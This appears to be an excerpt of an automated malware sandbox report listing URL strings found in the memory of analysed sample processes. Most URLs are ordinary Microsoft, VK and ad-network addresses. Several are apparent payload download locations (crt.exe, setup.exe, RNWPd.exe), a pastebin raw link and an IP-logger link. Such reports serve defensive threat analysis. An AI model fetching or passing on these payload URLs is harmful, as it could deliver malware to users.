Source: svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfLive
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 00000034.00000002.2848786345.000001F4D9671000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2716257953.000001F4D865F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.
Source: svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-
Source: svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376175268.000001F4D8F63000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfen
Source: svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.vk.com/
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.vk.com/?act=login
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.vk.com/?act=logout&hash=d4e90dd89b51cf03c1&_origin=https%3A%2F%2Fvk.com&lrt=BDpxh3TFcr
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1419328721.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1408547715.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429282984.00000000043C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exe
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1408547715.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exe8
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457084497.00000000043CA000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1419328721.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1453551457.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1408547715.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457040379.00000000043C7000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1450196885.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429282984.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exeb_
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457084497.00000000043CA000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1426618374.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1419328721.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1453551457.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1408547715.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1457040379.00000000043C7000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1450196885.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1429282984.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exeh
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1408547715.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com/ssl/crt.exez
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lop.foxesjoy.com:80/ssl/crt.exeBt
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://maps.googleapis.com
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1452926000.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exe
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exe8
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exeI
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1420648647.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1419328721.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1413612501.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1421794459.00000000043C0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414955708.00000000043C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exeU
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414285258.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com/525403/setup.exeom/a
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exe
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exeAy
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1409059874.000000000062B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exeeska
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1414376401.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1460930555.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1417160480.0000000002ADE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://monoblocked.com:80/525403/setup.exehudp(
Source: xJOdjN6fVDYC0Ta4cXD9JBiF.exe, 00000007.00000000.1257115899.0000000000471000.00000002.00000001.01000000.00000006.sdmp	String found in binary or memory: https://orion.ts.360.com/promo/opera?ch=%s&sch=%s&ver=%s&lan=%s&os=%s&mid=%s&mver=%s&time=%I64d/down
Source: explorer.exe, 00000024.00000000.1465540565.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://outlook.com
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://papi.vk.com/pushsse/ruim
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002ABC000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A43000.00000004.00000800.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2604784378.0000000002A4D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com
Source: AddInProcess32.exe, 00000005.00000002.2604784378.0000000002961000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/V6VJsrV3
Source: lgX7lgUL1w.exe, 00000000.00000002.1214500875.00000233C7000000.00000004.00001000.00020000.00000000.sdmp, lgX7lgUL1w.exe, 00000000.00000002.1213051292.00000233C4D27000.00000004.00001000.00020000.00000000.sdmp, AddInProcess32.exe, 00000005.00000002.2511302805.0000000000402000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/V6VJsrV31https://yip.su/RNWPd.exe7https://iplogger.com/1djqU4
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://platform.twitter.com
Source: explorer.exe, 00000024.00000000.1465540565.000000000C091000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://powerpoint.office.com
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://r.mradx.net
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com
Source: lgX7lgUL1w.exe	String found in binary or memory: https://sectigo.com/CPS0
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://securepubads.g.doubleclick.net
Source: svchost.exe, 00000034.00000003.1368388814.000001F4D8F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000002.2706314891.000001F4D8647000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1379663960.000001F4D8F2A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376055788.000001F4D8F3B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376014120.000001F4D8F4D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000034.00000003.1376151258.000001F4D8F40000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/al/base.3a6f1d6d.css
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/al/common.e499224c.css
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/al/fonts_cnt_async.4881739c.css
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/al/fonts_utf.7fa94ada.css
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/al/vkui.c63ec9ec.css
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://st6-20.vk.com/css/fonts/VKSansDisplayDemiBoldFaux.v100.woff2
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://static.vk.me
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1482426691.0000000004EE0000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.00000000043CE000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1477395749.0000000004471000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004470000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://stats.vk-portal.net
Source: c12YwoiQ34lE0LgBRkxJOClX.exe, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1479265140.0000000002A96000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1476455435.0000000004460000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478377141.00000000043C4000.00000004.00000020.00020000.00000000.sdmp, c12YwoiQ34lE0LgBRkxJOClX.exe, 00000013.00000003.1478565059.0000000002A90000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sun6-20.userapi.com/c909228/u5294803/docs/d35/91095a9a6f06/gewgdggrwh_20240521161330.bmp?ext
Source: svchost.exe, 00000009.00000003.1390225011.000002B171643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashx
Source: svchost.exe, 00000009.00000003.1390225011.000002B171643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=
Source: svchost.exe, 00000009.00000003.1390225011.000002B171643000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=
Source: svchost.exe, 00000009.00000003.1389103968.000002B17165D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdv?pv=1&r=
Source: svchost.exe, 00000009.00000002.1402242480.000002B17162B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=
Source: svchost.exe, 00000009.00000003.1390262007.000002B171657000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.1404251431.000002B171658000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t0.ssl.ak.tiles.virtualearth.net/tiles/gen
